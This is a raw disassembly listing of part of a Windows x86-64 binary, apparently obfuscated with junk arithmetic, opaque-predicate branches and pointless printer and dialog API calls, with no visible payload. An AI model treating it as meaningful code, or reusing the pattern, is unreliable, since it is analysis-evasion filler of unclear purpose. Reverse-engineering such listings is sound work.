mov byte [rsp + 0x1db], al
mov r9d, 0xd0
lea r8, [rsp + 0x4ce4]
mov edx, 0x7a
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x1db]
sar eax, 5
mov byte [rsp + 0x1db], al
movzx eax, byte [rsp + 0x1db]
shl eax, 0x22
cmp eax, 0xc8
jne 0x140005e09
movzx eax, byte [rsp + 0x1db]
mov byte [rsp + 0x4ce8], al
cmp byte [rsp + 0x4ce8], 0x99
je 0x140005d73
jmp 0x140005dfc
lea rax, [rsp + 0x4ce4]
mov qword [rsp + 0x20], rax
mov r9d, 0x71
lea r8, [rsp + 0x8bb8]
mov edx, 0x17
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_GetPrinterA
mov dword [rsp + 0x4cec], eax
movzx eax, byte [rsp + 0x1db]
xor eax, 0x47
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x4cec]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb7
lea r9, [rsp + 0x4cf0]
lea r8, [rsp + 0x1db]
mov rdx, qword [rsp + 0x8bc0]
mov rcx, qword [rsp + 0x8bc8]
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [rsp + 0x4cf0], eax
jmp 0x140005e09
mov ecx, dword [rsp + 0x4cf0]
call fcn.1401b3460
nop
mov dword [rsp + 0x4cf4], 0x44d4
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x4cf8], eax
cmp dword [rsp + 0x4cf8], 0
je 0x140005e42
cmp dword [rsp + 0x4cf8], 0x5e11ad05
je 0x140005ee6
jmp 0x140005f14
movzx eax, word [rsp + 0x121c]
or eax, 0xdeb
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x4cfc], 0x10a4f
movzx eax, byte [rsp + 0x1db]
sub eax, 0x53
cmp eax, 0x73
jg 0x140005ecb
mov dword [rsp + 0x4d00], 0x3cea1366
mov dword [rsp + 0x4d04], 0x305c
mov dword [rsp + 0x4d08], 0xe5d4
movabs rax, 0x6cf9690964df63e1
mov qword [rsp + 0x8bd0], rax
mov dword [rsp + 0x4d0c], 0x3043
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x8bd8], rax
mov dword [rsp + 0x4d10], 0x75c2
mov dword [rsp + 0x4d14], 0x79eb
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4d18], eax
jmp 0x140005f14
mov dword [rsp + 0x4cf0], 0x472434bd
movabs rax, 0x3286729575195678
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
and eax, 0x54641443
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
add eax, 0x2915b452
mov dword [rsp + 0x4d00], eax
mov eax, dword [rsp + 0x4d00]
add eax, 0x2248d400
mov dword [rsp + 0x4d18], eax
mov dword [rsp + 0x4cf0], 0x2b2426e9
mov eax, dword [rsp + 0x4cf4]
add eax, 0x54
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0x8bd8]
movabs rcx, 0x114eaee3650ab5dd
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8bd8]
mov qword [rsp + 0x8be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8be0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0x2951cce518d52529
mov rcx, qword [rsp + 0x8bd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1db]
or eax, 0x97
mov byte [rsp + 0x1db], al
mov eax, dword [rsp + 0x4d00]
sar eax, 0x1e
mov dword [rsp + 0x4d18], eax
movabs rax, 0x56dadba9c0cc5f74
mov rcx, qword [rsp + 0x8bd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
movabs rcx, 0x5f92f63cfb505171
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4d00]
sub eax, 0x34c3c268
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bd8]
movabs rcx, 0x4880b16d2ffa5b2
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4cf0]
sub eax, 0x7bbec7a2
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x121c]
sub eax, 0x74d
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0xfa17715c6795297
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cf0]
xor eax, 0x9ed4da6c
mov dword [rsp + 0x4cf0], eax
movabs rax, 0x5f4478e008a57f37
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
shl eax, 0x1a
mov dword [rsp + 0x4d00], eax
mov eax, dword [rsp + 0x4d00]
sar eax, 0x17
mov dword [rsp + 0x4d18], eax
movabs rax, 0x745a46e25ecc69fc
mov rcx, qword [rsp + 0x8bd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1db]
add eax, 0x8c
mov byte [rsp + 0x1db], al
movabs rax, 0x28be8514b0a66976
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x121c]
sub eax, 0xc0f
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0x35c087f6e5417512
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0x6c503e7f4878e22c
mov rcx, qword [rsp + 0x8bd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0x6d590634d135e0d1
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0x5fc60336855ab10b
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x121c]
sub eax, 0xce0
mov word [rsp + 0x121c], ax
movzx eax, byte [rsp + 0x1db]
shl eax, 5
mov byte [rsp + 0x1db], al
movabs rax, 0x57c1a0160ac4cbd9
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd0]
sar rax, 0x33
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
movabs rcx, 0x2ecf3e10087f750d
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8bd8]
movabs rcx, 0x463dad65397cf537
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4cf0]
add eax, 0x13a75fa5
mov dword [rsp + 0x4cf0], eax
mov eax, dword [rsp + 0x4d18]
sub eax, 0x3727344f
mov dword [rsp + 0x4d00], eax
cmp dword [rsp + 0x4cf4], 0x5d70
jb 0x140005f14
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4d1c], eax
cmp dword [rsp + 0x4d1c], 0xc8d8cb81
je 0x1400063b6
jmp 0x14000647b
mov byte [rsp + 0x1dc], 0x67
movabs rax, 0x7dd5fb0d6625c10f
mov qword [rsp + 0x8be8], rax
mov eax, 0x1aec
mov word [rsp + 0x14c4], ax
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x8bf0], rax
movsx eax, byte [rsp + 0x1dc]
cmp eax, 0x58
jl 0x140006463
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x8bf8], rax
movsx eax, word [rsp + 0x14c4]
cmp eax, 0x7fd5
jl 0x140006461
lea rcx, [rsp + 0x26ed0]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4d20], eax
movsx eax, byte [rsp + 0x1dc]
add eax, 0x50
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
jmp 0x140006479
movzx edx, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x121c]
call fcn.1401b3400
nop
jmp 0x1400064da
lea rcx, [rsp + 0x27050]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x4d24], eax
movzx eax, byte [rsp + 0x1db]
add eax, 0xef
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x14c4]
add eax, 0x4d36
mov word [rsp + 0x14c4], ax
lea rax, [rsp + 0x1db]
mov qword [rsp + 0x8c00], rax
mov dword [rsp + 0x4d28], 0xd744
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8c08], rax
mov dword [rsp + 0x4d2c], 0x3bb3
cmp dword [rsp + 0x4cfc], 0xc9ed
jb 0x14000699f
movabs rax, 0xcb54ac30d1eab879
mov rcx, qword [rsp + 0x8be8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cf0]
or eax, 0x80d0edc1
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8be8]
mov rcx, qword [rsp + 0x8bf8]
mov qword [rsp + 0x8c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c10]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
and eax, 0xce
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
sub eax, 0x4df
mov word [rsp + 0x121c], ax
mov eax, dword [rsp + 0x4cfc]
sub eax, 0xf6
mov dword [rsp + 0x4cfc], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cf0]
add eax, 0xe0c977e1
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0xb14ca66b09053c02
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x14c4]
sub eax, 0x21cb
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
shl eax, 6
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d00]
xor eax, 0x308690b4
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
movabs rax, 0x8ad08f999fd20249
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
movabs rax, 0xc51d98eccabcdbea
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x14c4]
add eax, 0x1e19
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1dc]
add eax, 0x24
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
sub eax, 0x1c
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
add eax, 0x383
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0xf9414fb9518a5650
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
mov eax, dword [rsp + 0x4cf0]
shr eax, 9
mov dword [rsp + 0x4cf0], eax
movsx eax, byte [rsp + 0x1dc]
or eax, 0x14
mov byte [rsp + 0x1dc], al
movsx eax, word [rsp + 0x14c4]
shl eax, 0xf
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
xor eax, 0x240
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
and eax, 0xdf
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x5b1a940a82c1aae5
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4cf0]
and eax, 0x7e83059e
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movabs rax, 0xc5041d3a6a04c849
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
jmp 0x140006513
cmp dword [rsp + 0x4d0c], 0x388c
je 0x140006ae7
movabs rax, 0xb0b638444a182bb5
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1db]
sar eax, 3
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d0c]
add eax, 0x65
mov dword [rsp + 0x4d0c], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
shl eax, 0xd
mov word [rsp + 0x121c], ax
movsx eax, byte [rsp + 0x1dc]
or eax, 0x4f
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cf0]
sub eax, 0xec90c31
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
sub eax, 0xc7e
mov word [rsp + 0x121c], ax
movzx eax, byte [rsp + 0x1db]
add eax, 0x7d
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
jmp 0x14000699f
cmp dword [rsp + 0x4d14], 0x9d0f
jae 0x140006d62
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
sub eax, 0x905
mov word [rsp + 0x121c], ax
mov eax, dword [rsp + 0x4d14]
add eax, 0xad
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x2caab740f4bf67b4
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4cf0]
xor eax, 0x603740bf
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8bd8]
mov qword [rsp + 0x8c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1dc]
or eax, 0x3e
mov byte [rsp + 0x1dc], al
movsx eax, word [rsp + 0x14c4]
sar eax, 4
mov word [rsp + 0x14c4], ax
movabs rax, 0xf2405fea166a983c
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
add eax, 0xe1
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x14c4]
sub eax, 0x36ff
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x26e910eb7907f79c
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4d00]
add eax, 0x77fae20c
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4cf0]
add eax, 0xd9adfae2
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
sub eax, 0x15d
mov word [rsp + 0x121c], ax
movsx eax, word [rsp + 0x14c4]
add eax, 0x4347
mov word [rsp + 0x14c4], ax
movzx eax, word [rsp + 0x121c]
sub eax, 0xe26
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sar eax, cl
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1dc]
or eax, 0xb
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
jmp 0x140006ae7
cmp dword [rsp + 0x4cf0], 0x6994e04c
ja 0x140006e3f
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov dword [rsp + 0x4d30], eax
cmp dword [rsp + 0x4d30], 2
je 0x140006da1
cmp dword [rsp + 0x4d30], 0x343
je 0x140006e0b
jmp 0x140006e3f
lea rcx, [rsp + 0x26cd0]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd8]
mov qword [rsp + 0x8c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
jmp 0x140006e3f
mov eax, dword [rsp + 0x4cf0]
add eax, 0x1568695b
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov dword [rsp + 0x4d34], 0x5f86
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x8c30], rax
movabs rax, 0xab574e5c8d421080
cmp qword [rsp + 0x8c30], rax
je 0x140006e84
movabs rax, 0xe7fd29ceeeb5d268
cmp qword [rsp + 0x8c30], rax
je 0x140006ecd
jmp 0x140006eef
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x14c8], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x121c]
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x4d38], 0x744
jmp 0x140006eef
lea rcx, [rsp + 0x26f50]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4d20], eax
mov ecx, dword [rsp + 0x4cf0]
call fcn.1401b3460
nop
mov dword [rsp + 0x4d3c], 0x395c
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x1dd], al
mov eax, dword [rsp + 0x4d00]
sub eax, 0x14e018e8
cmp eax, dword [rsp + 0x4d18]
jge 0x1401b3053
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x8c38], rax
mov dword [rsp + 0x4d40], 0xcd02
movsx eax, word [rsp + 0x14c8]
shl eax, 0x78
movsx ecx, word [rsp + 0x14c4]
cmp eax, ecx
jg 0x140006f5f
call fcn.1401b3bf0
nop
jmp 0x140006ff0
mov rax, qword [rsp + 0x8be8]
shr rax, 0x7a
mov rcx, qword [rsp + 0x8bf8]
cmp rax, qword [rcx]
jne 0x140006ff0
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14cc], ax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
lea rax, [rsp + 0x8bc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x17
lea r9, [rsp + 0x26cd0]
mov r8d, 0x5d
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_GetFormA
mov dword [rsp + 0x4ce4], eax
mov dword [rsp + 0x4d44], 0x132a
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0x8c48], rax
mov eax, dword [rsp + 0x4d18]
sub eax, 0x1b74f7c9
cmp eax, dword [rsp + 0x4d00]
je 0x140007052
lea rax, [rsp + 0x1db]
mov qword [rsp + 0x8c50], rax
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x14d0], ax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0x8c58], rax
jmp 0x1400070b7
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x121c]
cmp eax, ecx
jne 0x1400070b7
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
movabs rax, 0xf3f5d741d8226b04
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x8c60], rax
cmp dword [rsp + 0x4d34], 0x92ee
je 0x140007690
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1dd]
xor eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
shr eax, 0x10
mov dword [rsp + 0x4cf0], eax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x8c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0xb7417ea0807959ea
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov word [rsp + 0x14c8], ax
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
